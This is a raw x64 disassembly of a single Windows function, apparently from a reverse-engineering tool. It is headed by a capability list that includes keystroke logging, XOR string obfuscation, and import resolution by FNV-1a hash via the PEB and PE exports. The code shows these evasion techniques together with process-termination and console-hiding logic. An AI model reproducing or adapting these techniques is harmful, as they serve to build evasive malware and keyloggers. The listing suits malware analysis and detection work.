Function at 0x140015260
Capabilities:
Access peb ldr_data
Create thread
Delete file
Encode data using xor
Enumerate processes
Hash data using fnv
Log keystrokes via polling
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Set console window title
Terminate process
Terminate process by name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x618]
sub rsp, 0x700
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
mov rax, qword [0x14009f080]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
xor r14d, r14d
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140013340]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
lea edx, [r14 + 0x18]
lea rcx, [rsp + 0x60]
call fcn.140013a50
cmp qword [rax + 0x18], 0x10
jb 0x1400152dd
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140015326
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015321
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015321
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007e7bc
movups xmm0, xmmword [str._nHj]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x140091d30]
mov dword [rbp - 0x70], eax
movzx eax, word [0x140091d34]
mov word [rbp - 0x6c], ax
mov r15d, 1
lea r12d, [r15 + 0x1e]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140091d35], r14b
je 0x1400154eb
mov ecx, r14d
cmp esi, 2
jl 0x1400154b4
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400153b0
cmp ecx, 0x16
jge 0x1400154eb
movsxd rax, ecx
lea r8, [rbp - 0x80]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x16
jl 0x1400154c0
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015596
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015596
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015591
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015570
cmp r8d, 0x491e0a9c
je 0x14001559b
test r9d, r9d
jne 0x140015550
mov rax, qword [rax]
jmp 0x140015520
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [0x140091d04]
call rdx
lea rcx, [0x140149860]
call fcn.1400288b0
cmp byte [0x140149a78], r14b
jne 0x14001561c
mov dword [rsp + 0x30], 0xf7d1a18a
mov dword [rsp + 0x34], 0xf4f3f1e5
mov dword [rsp + 0x38], 0x100a9b2
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019290
mov rcx, rax
lea rdx, [0x140149a80]
call fcn.14001af40
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140149860]
call fcn.140025760
movdqa xmm0, xmmword [0x140092f20]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xbdbcbff7
mov word [rsp + 0x44], 0xb4
mov byte [rsp + 0x46], r15b
mov rcx, r14
nop dword [rax + rax]
lea eax, [rcx - 0x80]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x15
jb 0x140015660
mov byte [rsp + 0x46], r14b
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140013710
movups xmm0, xmmword [0x140092cb0]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [0x140092cc0]
movups xmmword [rbp - 0x40], xmm1
movzx eax, byte [0x140092cd0]
mov byte [rbp - 0x30], al
mov r8d, r14d
cmp esi, 2
jl 0x140015807
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x4c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140015700
cmp r8d, 0x21
jge 0x140015840
movsxd rax, r8d
lea r9, [rbp - 0x50]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140015811
mov qword [rbp + 0x470], r14
mov qword [rbp + 0x480], r14
mov qword [rbp + 0x488], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x470], r14b
lea rax, [rbp - 0x50]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x140015870
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x470]
call fcn.14001a780
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015916
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015916
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015911
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400158f0
cmp r8d, 0x491e0a9c
je 0x14001591b
test r9d, r9d
jne 0x1400158d0
mov rax, qword [rax]
jmp 0x1400158a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [0x140091d04]
call rdx
movups xmm0, xmmword [0x140091e38]
movups xmmword [rbp + 0x90], xmm0
mov eax, dword [0x140091e48]
mov dword [rbp + 0xa0], eax
cmp byte [0x140091e4b], 0
je 0x140015aec
mov ecx, r14d
cmp esi, 2
jl 0x140015ab4
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x94]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400159b0
cmp ecx, 0x14
jge 0x140015aec
movsxd rax, ecx
lea r8, [rbp + 0x90]
add r8, rax
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x34
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140015ac1
lea rdx, [rbp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
mov qword [rbp + 0x450], r14
mov qword [rbp + 0x460], r14
mov qword [rbp + 0x468], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x450], 0
lea rdx, [rbp + 0x450]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001b6f0
lea rdx, [rbp + 0x450]
lea rcx, [rbp + 0x430]
call fcn.14001a230
mov rdx, rax
lea rcx, [0x140149860]
call fcn.140029d90
cmp byte [0x140149a78], 0
jne 0x140015c52
mov dword [rsp + 0x50], 0xf7d1a18a
mov dword [rsp + 0x54], 0xf4f3f1e5
mov dword [rsp + 0x58], 0x100a9b2
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019290
mov rcx, rax
lea rdx, [0x140149a80]
call fcn.14001af40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015c26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015c26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015c21
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015c00
cmp r8d, 0x2fa62ca8
je 0x140015c2b
test r9d, r9d
jne 0x140015be0
mov rax, qword [rax]
jmp 0x140015bb0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rdx, qword [rbp + 0x468]
cmp rdx, 0x10
jb 0x140015c97
inc rdx
mov rcx, qword [rbp + 0x450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015c91
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015c91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007e7bc
nop
mov rdx, qword [rbp + 0x488]
cmp rdx, 0x10
jb 0x140015cd8
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015cd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140019273
call fcn.14007e7bc
lea rcx, [0x140149860]
call fcn.140025760
cmp byte [0x140149a78], 0
jne 0x140015de2
mov dword [rsp + 0x50], 0xf7d1a18a
mov dword [rsp + 0x54], 0xf4f3f1e5
mov dword [rsp + 0x58], 0x100a9b2
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140019290
mov rcx, rax
lea rdx, [0x140149a80]
call fcn.14001af40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140015db6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140015db6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140015db1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015d90
cmp r8d, 0x2fa62ca8
je 0x140015dbb
test r9d, r9d
jne 0x140015d70
mov rax, qword [rax]
jmp 0x140015d40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [0x140092290]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x140092298]
mov dword [rbp - 0x58], eax
movzx eax, word [0x14009229c]
mov word [rbp - 0x54], ax
movzx eax, byte [0x14009229e]
mov byte [rbp - 0x52], al
mov r8d, r14d
cmp esi, 2
jl 0x140015f22
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movd xmm5, r12d
movdqa xmm2, xmmword [0x140092da0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
mov eax, dword [0x140092e10]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140092290]
pxor xmm2, xmm1
movd dword [rbp - 0x60], xmm2
movdqa xmm3, xmmword [0x140092db0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092dc0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x5c]
pxor xmm2, xmm1
movd dword [rbp - 0x5c], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140015f30
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
lea rax, [rbp - 0x60]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140015f80
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x60]
call fcn.14001a780
lea rdx, [rsp + 0x60]
lea rcx, [0x140149860]
call fcn.14002af70
nop dword [rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140016046
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140016046
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140016041
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140016020
cmp r8d, 0x491e0a9c
je 0x14001604b
test r9d, r9d
jne 0x140016000
mov rax, qword [rax]
jmp 0x140015fd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [0x140091d04]
call rdx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140092fc0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140092f00]
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0xc6d4c8d2
mov word [rbp - 0x2c], Ordinal_217
mov byte [rbp - 0x2a], 1
mov rdx, r14
nop dword [rax]
lea eax, [rdx - 0x80]
xor byte [rbp + rdx - 0x50], al
inc rdx
cmp rdx, 0x25
jb 0x1400160b0
mov byte [rbp - 0x2a], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
movdqa xmm0, xmmword [0x140092fb0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140092ea0]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x140092e30]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0xd1d0defc
mov word [rbp - 0x1c], 0xcd
mov byte [rbp - 0x1a], 1
mov rdx, r14
nop
lea eax, [rdx - 0x80]
xor byte [rbp + rdx - 0x50], al
inc rdx
cmp rdx, 0x35
jb 0x140016110
mov byte [rbp - 0x1a], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
mov dword [rsp + 0x50], 0xa3888b8a
mov dword [rsp + 0x54], 0xe9f4e4d3
mov dword [rsp + 0x58], 0xb1ede7e1
mov word [rsp + 0x5c], 0xac
mov byte [rsp + 0x5e], 1
mov rdx, r14
nop dword [rax + rax]
lea eax, [rdx - 0x80]
xor byte [rsp + rdx + 0x50], al
inc rdx
cmp rdx, 0xd
jb 0x140016160
mov byte [rsp + 0x5e], 0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
movdqa xmm0, xmmword [0x140092f90]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140092f80]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x140092ec0]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140092ed0]
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0xadabe1b4
mov dword [rbp - 0xc], 0xaaa7a2e9
mov dword [rbp - 8], 0x100e7ad
mov rdx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rdx - 0x80]
xor byte [rbp + rdx - 0x50], al
inc rdx
cmp rdx, 0x4a
jb 0x1400161e0
mov byte [rbp - 5], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
movdqa xmm0, xmmword [0x140092eb0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140092e90]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x140092e40]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140092ee0]
movdqu xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x140092f60]
movdqu xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x140092e80]
movdqu xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x140092dd0]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp + 0x20], 1
mov rdx, r14
nop word [rax + rax]
lea eax, [rdx - 0x80]
xor byte [rbp + rdx - 0x50], al
inc rdx
cmp rdx, 0x6f
jb 0x140016270
mov byte [rbp + 0x20], 0
lea rdx, [rbp - 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001ad30
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400162c5
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140016bd2
mov ecx, WSAStartup
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400162a3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movups xmm0, xmmword [str.rZDCVPN]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [str._pse]
movups xmmword [rbp + 0x298], xmm1
movsd xmm0, qword [0x1400926f0]
movsd qword [rbp + 0x2a8], xmm0
movzx eax, word [0x1400926f8]
mov word [rbp + 0x2b0], ax
mov r8d, r14d
cmp esi, 2
jl 0x140016467
movdqa xmm5, xmmword [0x140092da0]
movdqa xmm4, xmmword [0x140092e00]
movd xmm6, r15d
movdqa xmm7, xmmword [0x140092dc0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x140092e10]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x28c]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092df0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
